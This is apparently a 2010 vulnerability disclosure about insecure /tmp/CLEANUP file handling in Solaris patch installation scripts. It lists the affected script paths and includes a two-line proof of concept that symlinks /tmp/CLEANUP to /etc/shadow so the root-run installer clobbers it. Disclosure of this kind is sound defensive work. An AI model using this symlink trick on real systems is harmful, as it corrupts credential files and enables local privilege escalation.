**Symlink attack with Solaris Update manager and Sun Patch Cluster**

Larry W. Cashdollar

1/24/2010

Many patches use insecure file creation in /tmp to store data during installation. The easiest one to exploit is /tmp/CLEANUP which is used in a handful of package installation scripts:

script code is typically:

<code>

CLEANUP_FILE=/tmp/CLEANUP
echo "EXISTING_FILE_PRESERVED: ${dest} ${dest}.${TAG}" \

>> ${CLEANUP_FILE} Similar code is found in:

./118833-36/SUNWcsr/install/i.renamenew ./118833-36/SUNWcsr/install/u.initd
./118833-36/SUNWcsr/install/i.initd
./118833-36/SUNWcsr/install/preinstall
./118833-36/SUNWintgige/install/i.renamenew ./118833-36/SUNWvolr/install/u.initd
./118833-36/SUNWvolr/install/i.initd
./118833-36/SUNWsndmu/install/postinstall ./118833-36/SUNWsacom/install/i.initd
./118833-36/SUNWsacom/install/u.initd
./118833-36/SUNWsndmr/install/postinstall ./118833-36/SUNWsndmr/install/i.renameold ./120272-26/SUNWsmmgr/install/u.initd
./120272-26/SUNWsmmgr/install/i.initd
./137093-01/SUNWcsr/install/i.renameold ./137137-09/SUNWnxge.u/install/i.renameold ./137137-09/SUNWcsr/install/i.renamenew ./137137-09/SUNWcsr/install/i.renameold ./137137-09/SUNWckr/install/i.renameold ./137137-09/SUNWnxge.v/install/i.renameold ./141444-09/SUNWixgbe/install/i.renamenew ./141444-09/SUNWnxge.u/install/i.renamenew ./141444-09/SUNWnxge.v/install/i.renamenew ./127127-11/SUNWtsg/install/preinstall
./127127-11/SUNWtsg/install/i.renamenew ./127127-11/SUNWtsu/install/i.renamenew ./127127-11/SUNWypr/install/i.renameold ./127127-11/SUNWcsr/install/i.group
./127127-11/SUNWcsr/install/i.pamconf
./127127-11/SUNWcsr/install/i.passwd
./127127-11/SUNWcsr/install/i.renamenew ./125555-06/SUNWcsu/reloc/usr/lib/patch/patch_override_dir/137137_SUNWnxge_i.renameold ./122660-10/SUNWcsr/install/preinstall
./119313-29/SUNWwbcor/install/i.initd
./119313-29/README.119313-29
./120011-14/SUNWckr/install/i.renameold ./120011-14/SUNWcsr/install/i.renamenew ./120011-14/SUNWcsr/install/i.renameold ./120011-14/SUNWcsr/install/preinstall
./120011-14/SUNWsndmu/install/postinstall ./120011-14/SUNWsndmr/install/i.renameold ./121453-02/undo_pkgs.pkg
./121453-02/payload.pkg
./121453-02/SUNWppror/install/i.initd
./122911-19/README.122911-19
./122911-19/SUNWapchr/install/i.initd
./122911-19/SUNWapchr/install/i.renamenew ./122911-19/SUNWapchr/install/u.initd
./122911-19/SUNWtcatr/install/i.renamenew ./139555-08/SUNWcsr/install/i.renamenew ./120543-15/SUNWapch2r/install/i.renamenew ./125215-03/SUNWwgetr/install/i.renamenew </code>

If a user creates a symlink to a root owned file, /etc/shadow for example it will be clobbered by the patch installation process if that patch application applies to the system.

$ cd /tmp
$ ln -s /etc/shadow CLEANUP

I was able to append the contents of CLEANUP to /etc/shadow.

With the GUI Sun Update Manager being used to install patches on a system local users can easily run scripts and create symlinks in an attempt to clobber files and potentially escalate priviledges as this application is typically run in multi user mode.

There are other attackable files that are created as well. I have only investigated the easiest one however.